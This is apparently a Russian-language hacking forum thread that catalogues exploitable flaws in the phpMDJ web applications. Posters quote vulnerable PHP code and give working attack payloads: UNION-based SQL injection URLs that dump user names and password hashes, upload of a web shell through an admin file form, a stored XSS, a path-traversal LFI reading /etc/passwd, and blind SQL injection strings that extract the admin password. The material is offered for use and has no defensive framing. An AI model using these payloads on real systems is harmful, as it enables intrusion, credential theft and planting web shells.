SQL-inj Файл profil.php PHP: $membre = $_GET['id']; $sql = "SELECT a.nom AS nGroupe, u.* FROM phpmdj_users u, phpmdj_auth a WHERE u.groupe = a.id_groupe AND u.id = $membre"; Code: http://localhost/phpMDJ/profil.php?id=-1+union+select+1,2,concat_ws(0x3a,pseudo,mdp),4,5,6,7,8,9,10,11,12,13,14,15,16+from+phpmdj_users-- Файл calendrire.php PHP: $event = $_GET['id']; .... elseif($mode == "anime") {$sql = "SELECT * FROM phpmdj_animes WHERE id_anime = $event"; http://localhost/phpMDJ/calendrier.php?mode=anime&id=1+union+select+1,2,unhex(hex(version())),4,5,6,7-- Залитие шелла Файл admin_download.php PHP: $rep = "../documents/"; $savefile = $rep.$_FILES["userfile"]["name"]; $temp = $_FILES["userfile"]["tmp_name"]; $fichier = $_FILES["userfile"]["name"]; $titre = prepareText($_POST["titre"]); $date = mktime(); $groupe= $_POST['groupe']; if(move_uploaded_file($temp, $savefile)) http://localhost/phpMDJ/admin/admin_download.php?mode=ajout Льем шелл и как видим он попадает в папку documents => http://localhost/phpMDJ/documents/shell.php SQL в админке (не так важно, но все же поиск багов) Файл admin_news PHP: $news = $_GET['id_news']; ... elseif($mode == "edit") { $sql = "SELECT * FROM phpmdj_news WHERE id_news = $news"; http://localhost/phpMDJ/admin/admin_news.php?mode=edit&id_news=-2+union+select+1,2,version(),4,5,6-- aXSS Отправляем письмо c заголовком <script>alert()</script>
phpMDJ v0.5(latest) Download: http://sourceforge.net/projects/phpdj/ LFI(mq==off): Уязвимый файл: ./dj/djpage.php Код: PHP: ... $page = $_GET['page']; $type = $_GET['type']; $name = $_GET['name']; if ($_SESSION["phprank"] == "Suspended"){ echo "Your account is suspended. You may <b>NOT</b> access this page."; include "blank.html"; exit(); } else if($page == "main"){ echo "Welcome to Radio Panel™, <b>".$_SESSION["phpname"]."</b>.<br>You are currently a(n) <b>".$_SESSION["phprank"]; ... //проверяет содержимое page и делает что-то как в коде выше ... } else if ($type == "html") { include "$page.html"; } else { include "$page.php"; } Эксплуатация: ./dj/djpage.php?page=../../../../../../../../etc/passwd%00
Вообще-то, там выполнение кода, без mq=off можно (Ну если mq =on то base64 ) Ща пишу сплойт, точнее писал. Закончу выложу. Blind Sql injection. Уязвимый файл: usercomplaint.php PHP: $djname=$_POST['djname']; $user=$_POST['offusername']; $userip=$_POST['offip']; $complaint=$_POST['comments']; $djip=$_SERVER['REMOTE_ADDR']; $date=date('F jS Y, h:iA'); include ("sql.php"); mysql_query("INSERT INTO `abuse` ( `djname` , `djip` , `date` , `user` , `userip` , `complaint` ) VALUES ( '$djname' , '$djip' , '$date' , '$user' , '$userip' , '$complaint ')") or die ("Could not insert into database.".mysql_error()); echo "Report succesfully sent."; How to: PHP: 1',(SELECT name FROM members where rank=char(97,100,109,105,110) AND ascii(lower(substring((SELECT pass from members),1,1)))>=100),null,null,null,null)-- Post'ом естественно. Sql injection: Need mq = off PHP: $name = $_GET["name"]; // Стасок плакал $sql_pass_get = "SELECT * FROM profile WHERE name='$name'"; Blind SQL injection dj/showalert.php PHP: $message=$_POST['message']; $checkip=$_POST['checkip']; $djname=$_POST['djname']; include "sql.php"; mysql_query("TRUNCATE TABLE `ipalert`"); mysql_query("INSERT INTO `ipalert` ( `IP` , `message` , `djname` ) VALUES ( '$checkip', '$message' , '$djname' );") or die ("Could not insert into database."); echo "Alert issued."; Аналогично верхнему, токо чуть чуть подругому.